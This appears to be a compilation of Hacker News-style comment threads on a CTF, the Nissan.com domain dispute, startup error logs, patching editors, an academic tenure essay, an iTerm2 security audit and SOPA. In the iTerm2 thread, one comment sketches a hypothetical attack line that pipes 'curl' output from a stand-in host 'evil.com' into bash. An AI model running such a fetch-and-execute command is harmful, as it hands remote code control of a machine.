HackThis CTF 2013 - <AUTHOR> http://www.hackthis.co.uk/ctf

<comment><AUTHOR> This is great little series of levels which I am currently working my way through. It appears there will be prizes awarded so it's worth having a go.</comment>


Nissan Motors LawSuit Against Nissan Computer - <AUTHOR> http://nissan.com/ <comment><USER2> This story bothers me, but I'm struggling to put my finger on why.

It's a terrible user experience to expect to go to a car website but instead get a website for a dinky computer services shop in a small town in Virginia. There's maybe 1000 people who would use this website, it's just a glorified business card. Now I have to go search on Google to find what Nissan's _actual_ website is.

On the other hand, Nissan is mega corp, and the internet is ideally a level playing field for all, not just those with deep pockets. It kind of feels like the computer shop is fighting the good fight against corporate hegemony.

But it's so incredibly damaging to Nissan's brand to have to local computer shop using the nissan.com domain. Nobody outside of this small town gives a crap about the shop. It's a damn waste of a domain name, it could see much more utility under Nisaan's (car maker) control. Nissan will never drop their case because of this, I could see them lobbying to change domain ownership laws to wrestle control away from this guy. In which case, give up the damn domain buddy, or else the lawmakers will put something on the books and we all lose.

That, and the internet has moved on from what it was in its formative years. It's truly at a global scale now. When I type in a global company's name into the address bar and add .com, I expect to see their home page. This theory holds true for _every_ global brand. Toyota, BMW, Pepsi, Apple, Ikea, etc. etc. It thwarts the usefulness of domain names if I can't do this.

</comment><comment><USER3> Is there something new, or it's just old case from 2000's?

<comment><USER4> The narrative ends in 2008 with Nissan Motors attempting to "obtain a Federal Trademark Registration for computers and computer peripherals among other classes of goods and services" in an apparent attempt to create another line of attack. Nissan Motors applied in 2007 and were registered in 2013. Wikipedia says that Nissan Motors has dropped its claim on the Nissan.com domain name, and uses nissanusa.com instead.

[https://en.wikipedia.org/wiki/Nissan_Motors_vs._Nissan_Compu...](https://en.wikipedia.org/wiki/Nissan_Motors_vs._Nissan_Computer)

More detail here:

[https://namecorp.com/nissan-com-a-20-year-battle-of-david- vs...](https://namecorp.com/nissan-com-a-20-year-battle-of-david-vs-goliath/)</comment></comment>


What we learnt from implementing Ray Dalio's error log process at our startup - <AUTHOR> https://medium.com/@tmatthewj/error-logs-as-a-startup-culture-experiment-16d5559ff0d6 <comment><AUTHOR> It was towards the end of 2017 that I got my hands on Principles a book written by Ray Dalio, CEO of the biggest Hedge Fund firm in the World — Bridgewater Associates. I had already read the summary version of Principles by then and was a big admirer of his efforts to build a team based on meritocracy. But one of the best parts of the book that I could relate with was the section under "Work Principles" where he explains how he tried to build a culture in which it is okay to make mistakes and unacceptable not to learn from them.

He goes onto elaborate how his company ended up losing to the tune of hundreds of thousand of dollars because of a careless mistake by one of his employees. He understood that letting the person go would build a culture that's averse to failures and came up with a public log where everyone should list down the mistakes they commit, explain how it impacted the customers / company in detail and with reflection on how it could be avoided in the future. Everyone is expected to read the error logs and this has helped them avoid recurring mistakes or failures while also building a culture that encourages the team to move fast and break things. More about our adaptation of error logs in the blog post.</comment>


Don't Deal With It, Fix It - <AUTHOR> http://blog.harrywolff.com/dont-deal-with-it-fix-it/

<comment><USER3> This reminds me of the George Bernard Shaw quote: "The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man."

</comment><comment><USER4> I had to do some digging, but I found the issue he was talking about and the plugin to fix it. The problem with Sublime Text 2 is that the cursor is very thin and hard to see. The plugin to fix it is [https://github.com/netpro2k/SublimeBlockCursor](https://github.com/netpro2k/SublimeBlockCursor)

If you don't want to install that plugin, you can get a more visible cursor by adding "caret_style": "wide" and "highlight_line": true to your Sublime preferences.

I'm not sure why the author avoided mentioning the specific issue. If it affected him and his friend, it seems like he would want to err on the side of telling others about it.

<comment><AUTHOR> author here: I couldn't remember clearly if the issue that was fixed was the block cursor one or something else. It would prove logical that the only one I can remember is the actual issue discussed, but I can't be sure.

Aside the focus was on the act and impulse rather than the actual issue.

Aside number two, I had a few glasses of red wine while writing this. I find it helps get the words flowing, but the memory fuzzy. ;)

<comment><USER4> I just noticed that the plugin was last modified a year ago, but your story was written last week. It makes sense that the exact issue would be forgotten with time. I've had similar instances where I've forgotten the exact issue but remembered the general lesson.

<comment><USER5> Yet, none of them came out with a new editor.

</comment></comment></comment></comment><comment><USER6> It's always nice to fix up software, but it adds maintenance costs.

If you get your patch submitted upstream, it can take months or years before it's in official repositories. And it could be declined.

You can wrap all the changes into a patch file, but you still have to apply and build that project every time you clean-upgrade/(re)install your OS. (Maybe it's less common for others, but for me, it's three systems upgraded roughly every 6-12 months.) And you're breaking out of your binary package manager. And if your OS updates, it could overwrite your custom binary. And the second the upstream source changes, your patch breaks.

The more projects you patch, the longer it takes to set up a fresh install. So I try and limit it to only things I _really_ care about. Which for me as a programmer, turns out to include my text editor as well.

<comment><USER7> While this is completely true, it is itself a bug, that we should fix. We shouldn't live in a world where a programmer's normal expectation is her patch sits in limbo for a long time and then is rejected.

</comment></comment><comment><USER8> What he said rings true, especially when it comes to day to day tools that directly impact your productivity. I had a similar experience with Emacs.

When using Emacs, I often visited numerous buffers jumping from place to place. Emacs's support for global mark-and-jump was pretty poor that I often lost track of where I came from.

Finally I got fed up and sat down to write an Emacs package to address the problem. This was my first extension package and I had to learn all the in- and-out's of Emacs extension development. The result was well worth the effort. I've used the package heavily in day to day editing since then. It has saved me untold amount of time.

When something really annoys your day to day work, time spent fixing it is time well spent.

Edit: I did search for alternative solutions and found none before I dived in.

Edit2: For those interested, [https://github.com/williamw520/breadcrumb](https://github.com/williamw520/breadcrumb)

</comment><comment><USER9> "Just fix it" is definitely level 0 hacker zen. Level 1 hacker zen is subsequently realizing that you're spending too much time fixing your tools, and searching for different tools. Level 2 hacker zen is realizing that older tools probably already fixed it, if you're willing to learn their complexity.

In any case, I feel like a lot of the latest-and-greatest fetish in tech is driven by people who don't "just fix it", and are therefore constantly on the lookout for the next big thing that will solve all your problems and give you a chocolate-covered puppy. Most of the time that I've decided to use a "simple, new" tool, I've quickly found out that the reason the tool is simple is because I Have To Fix It, and that once I've Fixed It, I have a tool that was as complicated as the "complicated, old" tool, but totally unsupported.

<comment><USER10> The other day, I had a problem with Sublime Text not playing nicely with whatever version of GIO/GVFS I had on the system to open a file over SFTP. I went back to Vim and the netrw plugin because I didn't like the idea of paying $20 for a Sublime Text plugin for something it should be doing natively.

Cue 2 hours of cursing at the Vim setup - there were no errors, I just didn't get any remote directory listings in netrw. I also didn't have any colours for some reason, and #vim on Freenode couldn't help.

Sometimes, the older tools are just as frustrating.

</comment></comment><comment><USER11> Thinking like a designer is so important in coding. Designers spend most of their time observing a problem then deriving a simple, efficient patch. I'm always looking for ways to patch, by observing closely and listening to what others are frustrated with.

</comment><comment><USER12> I think this is great advice. Two of the biggest annoyances I had with Sublime Text were the autocomplete suggestions and the bracket/parenthesis matching (or lack thereof).

I still think the default behavior (as of Sublime Text 3.0) is pretty broken with both. For autocomplete suggestions I found this to fix the problem:

[https://github.com/atombender/sublime_text_alternative_autoc...](https://github.com/atombender/sublime_text_alternative_autocompletion)

For bracket/parenthesis matching it was annoying me so often that I ended up fixing it myself by writing a plugin:

[https://github.com/ccampbell/sublime-smart- match](https://github.com/ccampbell/sublime-smart-match)

I think this advice rings true for more than just editors. Third party libraries, browsers, frameworks, etc, all have their limitations/weaknesses and fixing things that annoy you is always better than living with the problems.

</comment><comment><USER13> From the title, I thought the article would be philosophical and would be about life problems, but came to me as a surprise when I clicked and found it is something about sublime text...

</comment><comment><USER14> I've been following this philosophy even before I started programming - <USER2> fact "fixing" binaries with a disassembler and a hex editor was how I got into programming in the first place. I certainly think the generally complacent attitude of the population today could use some change.

</comment><comment><USER15> Was in a similar situation as the OP with ST (a different plugin), but unfortunately I couldn't justify to myself spending any more time trying to fix it, so just went back to my old standby, Notepad++. Surely editors+plugins should just work?

<comment><USER16> Out of curiosity, what was your issue?

<comment><USER15> Can't fully remember but it was something to do with the Go Sublime plugin ([https://github.com/DisposaBoy/GoSublime](https://github.com/DisposaBoy/GoSublime)). I know I should have perservered longer, but gave up in the end.

</comment></comment></comment><comment><USER17> Before resorting to Fixing It, I might first Report It.</comment>


How to Get Tenure - <AUTHOR> http://matt.might.net/articles/tenure/ <comment><USER2> A really fascinating personal story. One thing that bothered me though:

The author's wife quit her job to become a full-time mom. I would guess that the author was only able to have so much professional success because of this. Perhaps you _can 't_ get tenure/be really successful while also taking care of a child with disabilities. It just happens to be the case that the author _didn 't_ have to take care of a child with disabilities (his wife did), and so his professional career was unaffected.

<comment><USER3> It turns out, when you have a whole other human being doing full time unpaid labor that is completely essential to your well being, you can succeed professionally.

I find the other comments full of praise tarnished by their elision of this crucial detail. This is the story of a family, not a man.

<comment> barry-cotter This is an example of partnership, division of labour, and increasing returns to expertise. This is a normal upper middle class marriage insofar as one partner has a successful career and the other provides support to that career. There are other ways of doing an upper middle class marriage. The ones that involve two high powered careers necessitate full time support staff, whether paid, two nannies, or extremely supportive family, usually grandparents.

Very few people get to their thirties without realising that a marriage is a partnership and that having a family is a demanding project which requires a lot of work.

<comment><USER3> My point was all the comments adulating the one man when there is literally another person putting all of her effort into making their lives possible. The author certainly spares no effort in praising his partner. But this woman is all but invisible outside of this comment thread.

Society used to be legally structured around a system where people were paired on a gender system optimized for a nuclear family, where both individuals contribute their labor to their common good while one receives all of the autonomy, financial control, status, praise, and respect; the one who received all of this was always male.

The only thing that has changed is that women are legally allowed to be the breadwinner. Enormous social and economic structures still pressure them into being the less valued member of the family unit. Domestic labor is still heavily undervalued, disrespected, and seen as a woman's sphere. The number of full time fathers is still extremely low, and people still judge family units with a full time father as less prosperous than one with a full time mother.

When we descend by class and race down the social hierarchy, the picture becomes extremely complicated, of course.

But I was just talking about Internet comments, you know?

<comment><USER4> Thanks for writing this.

> The author certainly spares no effort in praising his partner.

Though it appears he did so _after_ being prompted by a (female!) questioner asking what his wife's up to; he wrote the original Quora answer without mentioning anything about how her career was altered.

<comment><USER3> Well then.

</comment></comment></comment></comment></comment></comment><comment><USER5> I found that article really inspiring. And I especially liked the validation of switching from externally driven goals to internally driven goals. Many, many times, when someone has asked me "What do I need to do to get a top job" or "Get into company X" my answer has been a variant of the author's epiphany:

 _" I stopped working on problems for the sole purpose of notching up a publication. I shifted gears to cybersecurity. I found a project on cancer in the med school. I joined a project in chemical engineering using super- computing to fight global warming."_

The truth is that you can't serve two masters of "chasing success" and "solving a problem." Pick hard problems to solve and run them down. That says way more about you than any sort of resume buffing you might do.

<comment><USER6> I liked most of the article, but the part you quoted struck me as a bit contrary to the main thrust of it. As a CS researcher, I occasionally think, what would be the #1 thing I'd do if my sole goal were to chase career success in academia? And it would be this: transition into a currently hot, well- funded applied area like cybersecurity, cancer research, or climate modeling (or big-data analytics, or robotics, or a few other such things). A lot of things just become easier if your research aligns with the current opinion among deans and funding agencies regarding which areas are important. So he did... exactly that as an _alternative_ to chasing success?

I mean it's certainly believable that he moved to those areas because he's personally interested in them, rather than just following the money. If so, he had the good fortune that his personal interests aligned closely with the current priority areas of major U.S. funding agencies. There are plenty of cases where that isn't true, so I think it's a bit dangerous to take it as the normal outcome. If your passion is something people with money are not currently interested in, the odds that everything will just work out fine if you focus on your passion are much lower. So my modified advice would be: to get tenure, follow your passion and solve problems rather than micro- optimizing citations, _but_ first macro-optimize research area by choosing problems that the NIH, NSF, and/or DARPA are pouring money into. :-)

</comment></comment><comment><USER7> > Life is too precious and too fleeting to waste my time on bullshit like > tenure. I didn't become a professor to get tenure. I became a professor to > make the world better through science. From this day forward, I will spend > my time on problems and solutions that will matter. I will make a > difference.

This is hypocritical and heartless to those who are now starting their careers as scientists. You spent a decade of your life to get to a tenure-track position, and now that decade and the rest of your life are on the balance. You can bullshit all you want about making the world a better place, but you'll be teaching Java Programming 101 in Podunk state college unless you deliver publications and grants.

<comment><USER8> A lot of the people teaching Java Programming 101 at Podunk Directional University are making the world a better place. Compare that to actually _doing_ Java programming 101, for instance: teaching is about a lot more than communicating the meaning of syntax.

</comment></comment><comment><USER9> What an unexpectedly interesting post. I read a bunch of other posts he made and they are all very well thought out, with little fluff. He sounds like a really great and brilliant guy.

<comment><USER10> Agreed, cracking communicator. And smart.

</comment></comment><comment><USER11> Easily the most amazing "How to Get Tenure" article that I've ever read, even though (or maybe because) it hardly talks about how to get tenure! Passion and success are so strongly correlated, and Matt Might is such a great example of this, as are most successful researchers and entrepreneurs.

</comment><comment><USER12> Annoyed by all the "feel-good" pieces out of wherever. Push "all the bad things" into one little scapegoat and suddenly the _rest_ of life becomes nothing but good.

I mean, that's great for the people for whom it works (if there are any), but, guess what, when "the rest of us" want to "emulate that person", we get a few steps and realize we can't be that person because all of us are imperfect.

It'd be more inspiring if these kinds of posts also included existing "skeletons-in-closet" to make the person seem more mortal.

And not the interview answer "I'm too much of a perfectionist" skeleton. What does it _really_ take? "My wife resents my success." "My kid doesn't even like/know me." "My grad student actually did all the work." "I'm sleep deprived and suicidal most of the time." "Half my statistics are lies."

Seriously, nobody has a perfect life. What does it _really_ take to make (at least) a "successful" one?

</comment><comment><USER13> > So, if you love your spouse and you want to have kids, then have kids.

This is a great takeaway for ambitious people who worry about the impact of having kids on their career.

<comment><USER14> Yes, but you need to both go into it with eyes wide open. Children absolutely will have an impact of some kind on almost any career.

</comment></comment><comment><USER15> What an amazingly insightful post.

I've always wondered how people derive the internal strength to do amazing things in the face of severe personal adversity. This post addresses this in some ways.

<comment><USER16> Reminds me of [http://www.noogenesis.com/pineapple/Taoist_Farmer.html](http://www.noogenesis.com/pineapple/Taoist_Farmer.html)

</comment></comment><comment><USER17> A lot of his articles are awesome, I especially like this one [http://matt.might.net/articles/phd-school-in- pictures/](http://matt.might.net/articles/phd-school-in-pictures/)

<comment><USER18> This is a pretty terrific list, as well.

[http://matt.might.net/articles/what-cs-majors-should- know/](http://matt.might.net/articles/what-cs-majors-should-know/)

</comment></comment><comment><USER19> He says:

"Applying the cold logic so common in computer science to the cell biology of the disorder, we've started predicting therapies, some of which have since come to bear fruit and improved my son's quality of life beyond measure."

I curious to read his research on this, but I haven't been able to find it here:

[http://matt.might.net/#papers](http://matt.might.net/#papers)

It's mostly security/GPU/Static analysis stuff.

<comment><USER20> Most of it is here:

[http://www.overcomingmovementdisorder.com/](http://www.overcomingmovementdisorder.com/)

</comment></comment><comment><USER21> "I even won what some academics jokingly call the "kiss of death" for tenure – the annual oustanding instructor award – the year before I went up for tenure."

Ugh I don't know why we force so many researchers to teach. My university was filled with very smart and passionate professors who had absolutely no interest in talking to or teaching another human being.

<comment><USER22> "The Dignified Professor"

excerpts from "'Surely You're Joking Mr. Feynman!' Adventures of a Curious Character" by Richard Feynman, Bantam Books: New York, 1986

I don't believe I can really do without teaching. The reason is, I have to have something so that when I don't have any ideas and I'm not getting anywhere I can say to myself, "At least I'm living; at least I'm doing something; I am making some contribution" \-- it's just psychological.

When I was at Princeton in the 1940s I could see what happened to those great minds at the Institute for Advanced Study, who had been specially selected for their tremendous brains and were now given this opportunity to sit in this lovely house by the woods there, with no classes to teach, with no obligations whatsoever. These poor bastards could now sit and think clearly all by themselves, OK? So they don't get any ideas for a while: They have every opportunity to do something, and they are not getting any ideas. I believe that in a situation like this a kind of guilt or depression worms inside of you, and you begin to worry about not getting any ideas. And nothing happens. Still no ideas come.

Nothing happens because there's not enough real activity and challenge: You're not in contact with the experimental guys. You don't have to think how to answer questions from the students. Nothing!

In any thinking process there are moments when everything is going good and you've got wonderful ideas. Teaching is an interruption, and so it's the greatest pain in the neck in the world. And then there are the longer period of time when not much is coming to you. You're not getting any ideas, and if you're doing nothing at all, it drives you nuts! You can't even say "I'm teaching my class."

If you're teaching a class, you can think about the elementary things that you know very well. These things are kind of fun and delightful. It doesn't do any harm to think them over again. Is there a better way to present them? The elementary things are easy to think about; if you can't think of a new thought, no harm done; what you thought about it before is good enough for the class. If you do think of something new, you're rather pleased that you have a new way of looking at it.

The questions of the students are often the source of new research. They often ask profound questions that I've thought about at times and then given up on, so to speak, for a while. It wouldn't do me any harm to think about them again and see if I can go any further now. The students may not be able to see the thing I want to answer, or the subtleties I want to think about, but they remind me of a problem by asking questions in the neighborhood of that problem. It's not so easy to remind yourself of these things.

So I find that teaching and the students keep life going, and I would never accept any position in which somebody has invented a happy situation for me where I don't have to teach. Never.

</comment></comment><comment><USER23> tl;dr wife gave up her career so he could have his.

down vote and deny all you want.

<comment><USER24> Not exactly:

[http://matt.might.net/articles/tenure/#addendum](http://matt.might.net/articles/tenure/#addendum)

<comment><USER23> i read it all before commenting. how did you interpret "she drop her career and spent years caring for the son" as NOT dropping her career?

note how all the accomplishments are a result of staying at home. and the only big effort listed was raising funds for his research.

not saying it was right or wrong. I'd probably have dropped my career in similar situation. but trying to spin it is weird.

</comment></comment></comment><comment><USER25> I feel compelled to respond to his (by no means unique) claims about teaching and tenure.

"Doing a good job with teaching is perversely seen as a cardinal sin in some departments."

Name one. Give some examples. If you're going to play this game of taking the obviously popular side of "ethical enough to do your job" then you need to be more forthcoming. The part about teaching is self-promotional BS.

Perhaps in the very best departments, where they have so much money that good researchers rarely teach, tenure decisions are not based solely on research. There are very few institutions for which that is true though. You don't have to be a star teacher, but claiming that anyone not entertaining the students at a level to win university-wide teaching awards means they are "Torturing a captive audience every semester with soul-sapping lectures is criminal theft of tuition" is quite a jump.

This is one of the most arrogant blog posts I've ever read. He did what most faculty members do to get tenure. He did research, teaching, and service at an acceptable level.

<comment><USER26> He mentioned his adviser, Olin Shivers (works on Scheme, inventor of CFA, very famous in PL).

<comment><USER25> He was at Georgia Tech. The tenure standards are very high. It's unlikely that he was denied tenure because he won a teaching award.

<comment><USER26> No, there was politics involved, as always. And that dean is no longer there, I heard.

<comment><USER24> Olin (my advisor) deserved tenure on his strength as a teacher alone. (If tenure were awarded on such things anyway.)

He also founded the entire field of static analysis for higher-order languages (like Scheme, Python and Haskell). His long-term research impact has been extremely significant.

It's hard to figure out any surface reasoning on which to deny him tenure, except that he refuses to thin-slice his work into many tiny papers.

He operates on the model of "one paper = one major idea."

Denying Olin tenure (after an overwhelming faculty vote in favor of tenure) seemed to me to be the tipping point that led ultimately to the ouster of the Dean.</comment></comment></comment></comment></comment>


Show HN: A player for feelings = "sentimento" (made in Brazil) - <AUTHOR> http://www.superplayer.fm/

<comment><USER2> Nice work, I like the chainsaw guy for the aggressive mood =)</comment>


Critical Security Issue Identified in iTerm2 - <AUTHOR> https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/ <comment><USER2> I take it the nightmare scenario here is that you have web logs streaming in a tmux window and an attacker accesses /404/escape-code/curl -s [http://evil.com/pwn|bash](http://evil.com/pwn|bash)? Does the window need to be foregrounded for the attack to work? I guess the good news is that iTerm is Mac only, so I can't imagine that many web servers are using it.

<comment><USER3> Why would the web server need to be running macOS? From my understanding an admin could be ssh'd into a server and tailing/gripping the logs there while using iTerm. If the malicious input was in the logs, then the attacker could take over the admins machine, and by extension, possibly any machine the admin had access to.

<comment><USER2> Good point.

</comment></comment></comment><comment><USER4> iTerm2 author here. I'll be glad to answer questions.

<comment><USER5> Thanks for iTerm2. I've used it every day for years.

I'm running 3.0.15 and it reports no updates available.

On MacOS 10.9 (upgrading isn't really an option right now, it would break too many things).

Is iTerm2 3.0.15 vulnerable?

Thanks!

<comment><USER5> I'm puzzled by the downvote, as my question seems appropriate to me. Anyone care to provide feedback? Thanks.

<comment><USER6> Dude, you are running a version that came out 6 years ago, while macOS has a yearly release schedule. iTerm would be the least of my concerns. There is just nothing to say here other than go and upgrade it asap.

<comment><USER7> While you're right, it's unfortunately not that simple because macOS updates really do break a lot of stuff (especially for developers) and, on older hardware, degrade performance to the point of un-usability. I've got an MBP from 2012, and I've stopped updating macOS with Sierra (10.12) due to ever degrading performance. I'll be forced to throw away the (perfectly functional!) laptop at some point once I stop receiving security updates.

<comment><USER8> > macOS updates really do break a lot of stuff (especially for developers)

Weird example, as most of your users will be using a more recent version of macOS. So, while you're code isn't 'broken' for you, on your 6+ year old OS, it's broken for the vast majority of end users who will want to compile your code.

<comment><USER5> Weird response. Probably most developers are not shipping code for end users to compile.

Of those, most are probably developing websites and webapps, and the only thing about the end user that matters is which browser, not which OS, let alone version.

But there are also developers writing apps that include older devices in their target. That means avoid the newest Mac tools because you can't compile for old enough targets on it.

Then there are Mac app developers that include older versions of the OS in their target market, and have to use older tools to ensure the target range is covered. This gets harder over time because Apple makes it deliberately hard.

Some of them even write mobile apps that target users of older devices. Shocking, I know, but there are a lot of users of older iOS devices these days, and sometimes you're tasked with making an app for them.

Then there are developers whose work talks to dev hardware attached to the computer, which needs drivers, which stop being supported at some OS version. The end users get a lump of hardware, and all the developer needs is an OS that can talk to the dev kit.

Then there are developers doing maintenance on older MacOS, iOS, or device firmware, and produce updates that are drop-in compatible to exactly the same set of target users as are already running the software. Not every consumer app will bother with this, but some business-critical things demand it.

I think the use case of "end users who will want to compile your code" is almost negligably small in comparison, and Linux is probably a better OS for doing that sort of thing anyway :-)

I've done all the above, on Mac, Windows, and Linux. VMs work great for Linux, and ok for Windows. Mac is a pain for this, because of Apple's policies to try to make it difficult.

<comment><USER8> > most are probably developing websites and webapp

And you can't port your NPM, React, etc. environment over to a new OS without breaking things?

> the only thing about the end user that matters is which browser

As a web dev, you want to use the latest ES/HTML/CSS specs while still targeting as many users as possible. How can you target modern users when the browsers on your 6-year old system isn't up-to-date enough to render what most users will see?

> Then there are Mac app developers that include older versions of the OS in > their target market, and have to use older tools to ensure the target range > is covered. This gets harder over time because Apple makes it deliberately > hard.

This is a valid point. There are still people compiling on and for Windows XP and MS-DOS machines, after all. Hell, you can find hobbyists who only like writing Commodore 64 programs. Writing to target older platforms is hyper- niche and the computer you use to do that shouldn't be your main workstation.

> Shocking, I know, but there are a lot of users of older iOS devices these > days, and sometimes you're tasked with making an app for them.

In which context? Given that 97% of devices are on iOS 11 or later ([https://twitter.com/reneritchie/status/1159288325003460609](https://twitter.com/reneritchie/status/1159288325003460609)), I can't imagine _why_ you care about those users.

> Then there are developers whose work talks to dev hardware attached to the > computer, which needs drivers, which stop being supported at some OS > version. The end users get a lump of hardware, and all the developer needs > is an OS that can talk to the dev kit.

This is a valid point.

> Then there are developers doing maintenance on older MacOS, iOS, or device > firmware, and produce updates that are drop-in compatible to exactly the > same set of target users as are already running the software. Not every > consumer app will bother with this, but some business-critical things demand > it.

A valid point as well - this is exactly the context in which COBOL is still used.

> I think the use case of "end users who will want to compile your code" is > almost negligably small in comparison, and Linux is probably a better OS for > doing that sort of thing anyway :-)

That's...not true. macOS developers exist, you know, and there's a reason that Macs ship with a strong tooling kit.

Besides, if you distribute dynamically-linked binaries, you want an up-to-date OS so that the dylibs you're linking to actually exist...

Just some thoughts from a junior dev :)

<comment><USER5> > As a web dev, you want to use the latest ES/HTML/CSS specs [...]. How can > you target modern users when the browsers on your 6-year old system isn't > up-to-date enough to render what most users will see?

You can run latest browsers just fine. I'm talking to you now through Firefox Beta that was released a couple of days ago, on my 6 years old OS. It works just great, latest ES/HTML/CSS specs and all, same as yours. It's more up to date than my phone!

However, if you're serious about testing, portability, accessibility, inclusion, quality, and just looking good to a worldwide audience for your site or app, then you won't rely on testing in a single browser on your own machine.

Especially if your own machine is running the latest bleeding-edge version (as mine is). You may be using something like Selenium, BrowserStack, Sauce Labs etc. with a testing pipeline. Or (as I do), a bunch of browsers in cloud-based VMs.

Even if it's just a manual testing pipeline, there are so many ways a complex web app can render or behave differently on different browsers it's not funny, so well worth testing complex things.

Imagine trying to write something like a mini Google Sheets or Docs without testing on different browsers, while intending for it to be usable to a wide audience. It would break in more ways than you could imagine from testing only on the latest browser on your own machine.

> Given that 97% of devices are on iOS 11 or later [...] I can't imagine why > you care about those users.

Not all apps are for consumers.

And not all apps are for distribution on an app store.

And some on a store are for particular audiences. For example government apps, financial services apps targetting people with little cash, and those running on fleets of purchased devices in a business (such as tablets) for a dedicated purpose.

E.g. one of those I've dealt with was effectively a museum full of tablets fixed in place. Nodody's going to purchase new hardware in quantity if the old ones are working fine, just to please a developer who can't figure out how to built for an old target. (When I did that job, it wasn't iOS, but the same principle applies.)

> A valid point as well - this is exactly the context in which COBOL is still > used.

I wonder if you're trying to suggest "really really old" with COBOL :-) The same maintenance issues apply to maintaining apps released just a couple of years ago, which supported 5 year old devices at the time they were released, and so aim to maintain the same until they have a major version change.

(Especially business apps rolled out on a fleet of purchased devices, where continuity is a requirement. But also, consumer apps if you care about the customers.)

> macOS developers exist, you know

I do know, where do you think this thread came from :-)

But the vast majority of shipped code is not open source, and when it is, most of it is used only on servers or inside devices.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER9> I clicked "Check for updates", saw that there is an update ready to install. Once installed I compared the version number and it wasn't the latest. I probably missed an update in the past.

Make sure that after reinstallation you're at v3.3.6+

</comment><comment><USER10> I checked for update, installed and relaunched... and found that all my tabs were exactly as they were before, including my tab that had an ssh tunnel running. The only thing that changed was that iTerm got more secure.

Impressive work, gnachman.

<comment><USER11> what??? Mine dumped all my windows and gave me back just one blank terminal window. I got robbed!

<comment><USER4> If you have non-native fullscreen windows it's Apple's fault. They don't like this window style so they don't support restoring it. Could also be that you have "System Prefs > General > Close windows when quitting an app" turned on, or that you have iTerm2's "Prefs>General>Startup>Window restoration policy" set to something other than "Use system window restoration policy"

</comment></comment></comment><comment><USER12> I'm sure there are a lot of people reading HN who use iTerm2 every day. For me it's an essential tool.

If that's you, and you're not already a contributor to the continued development of this software, then today is a great day to start!

There's a Patreon, so for many people it'll be very easy to begin helping out:

[https://www.patreon.com/gnachman/overview](https://www.patreon.com/gnachman/overview)

(I have no affiliation with iTerm2 or it's author; I just want to encourage people to support important software)

<comment><USER13> Definitely a ton of users. IMO though, I've just used the stock Terminal on macOS for the past 4 years or so. I don't see my self using any of the features iTerm2 brings to the table.

<comment><USER14> If you're proficient with tmux I'm not exactly sure what iTerm brings to the table.

<comment><USER15> Can tmux do focus-follows-mouse for selecting between panes? (Last time I looked into it this wasn't possible)

<comment><USER16> Why would you use that over keyboard switching?

FFM is used when you have overlapping windows and want to focus a window without raising it.

<comment><USER15> Personal preference? I have always liked FFM, and while I like the keyboard for many things I find it much more awkward than the mouse for selecting among many (10+) terminals tiling the screen.

(I don't want overlapping windows for anything, never have, and am still sad I can't get OS-wide FFM on a mac.)

</comment></comment></comment></comment></comment></comment><comment><USER17> What's the exploit? I keep clicking links trying to figure it out and no one says what it actually is.

<comment><USER18> I think it's something to do with: iterm2 interprets <magic control sequence> as triggering the tmux integration feature. But you can put that magic control sequence into other places.

<comment><USER19> Sure, but that explains nothing about how the tmux integration ends up running a local command. How is this doing anything more than confusing the terminal about buffers?

</comment></comment></comment><comment><USER20> (OT) I like iTerm for its smart select/copy behavior, mostly, but stopped using it about 3 months ago because I often caught it using immense amounts of RAM, slowing everything down on my 32Gb trashcan pro. I thought it might have something to do with the GPU, but it doesn't happen on Terminal.app, which is otherwise good enough, but I miss iTerm every time I have to cmd-C or adjust the span of a double click. Has anyone else observed the RAM trouble? Maybe I have a bad setting?

<comment><USER4> Probably a memory leak. I'd love to get a heapshot to debug it. See instructions at [https://iterm2.com/bugs](https://iterm2.com/bugs)

<comment><USER20> Thank you, I will do this.

</comment></comment></comment><comment><USER21> This got me to actually update and I love the new minimal theme. I also like having CPU/Memory usage statistics in the status bar.

</comment><comment><USER22> Thank you, Mozilla. =)

<comment><USER23> And congrats Radically Open Security

</comment></comment><comment><USER24> Serious question: I've heard great things about iTerm2. I'm on Linux running xterm and a tiling window manager. What am I missing out on?

<comment><USER25> For the mac, it's the best there is, but if you're on linux gnome-terminal is better.

<comment><USER26> Wait, do you mean "if you're on linux gnome-terminal is better _(because if you 're on linux you can't use iTerm2)_?"

Because that's the only way your comment makes sense to me.

<comment><USER25> What I mean to say is, gnome-terminal > iTerm2, but if you're on a mac, iTerm2 is the next best thing.</comment></comment></comment></comment>


SOPA would never happen in Europe - <AUTHOR> http://arstechnica.com/tech-policy/news/2011/11/european-high-court-rejects-internet-traffic-filtering-as-violation-of-fundamental-rights.ars

<comment><AUTHOR> Europe bans SOPA and airport XRAY scanners and yet neonazi parties get seats in parliaments. Definitions of freedom and democracy in U.S. and Europe are incongruent. If you lived at least ten years on both continents you'd understand.

</comment><comment><USER2> Don't worry - they are just waiting if it passes in the U.S. I would be surprised if the various "usual suspects" & MPs in Europe don't already have a European version of it ready "for discussion" and to be run through as new law(s) e.g. next year during the London Olympics when the public is even easier been distracted from things that will change their future lives.

</comment><comment><USER3> Right, and Europe is not owned and controlled by the Banksters either.

</comment><comment><USER4> Ah yes, Europe being that pristine example of freedom and democracy (much better than police state USA). Just make sure you don't say anything racist or xenophobic, or you might wind up in prison --> <http://en.wikipedia.org/wiki/Laws_against_Holocaust_denial>

<comment><USER5> Where do I begin?

Laws against denying the holocaust are not equivalent to laws against xenophobia or racism. You might be thinking of laws against hate speech.

Next, you'll have to do a little more than just rant to convince me that laws restricting hateful speech are somehow antithetical to "freedom and democracy."

Xenophobia and racism are pretty much as anti-democratic as you can get: If you don't want blacks, jews, romany, homosexuals, or indians in your homeland, you're hardly advocating the idea of freedom and democracy, are you?

<comment><USER6> > Next, you'll have to do a little more than just rant to convince me that > laws restricting hateful speech are somehow antithetical to "freedom and > democracy."

They're restrictions on freedom of speech, so they're restrictions on freedom (I have a harder time with the "restriction on democracy" part, that one does not make sense).

> Xenophobia and racism are pretty much as anti-democratic as you can get

Sure, but that's not really relevant to the discussion.

<comment><USER5> You have to think globally, not locally. For example, laws against murder and pillage are laws against the freedom for market forces to govern individual behaviour. However, the imposition of a police state restricting these behaviours makes individuals _more free_ because they can act with little fear of murder and pillage.

Likewise, any law restricting speech is a restriction of freedom in the small. Some (myself included) argue that it increases freedom in the large. You may not agree, but I hope you appreciate my argument that there is an argument to be made and that it is not "obvious" that enacting hate speech laws are antithetical to freedom in the large.

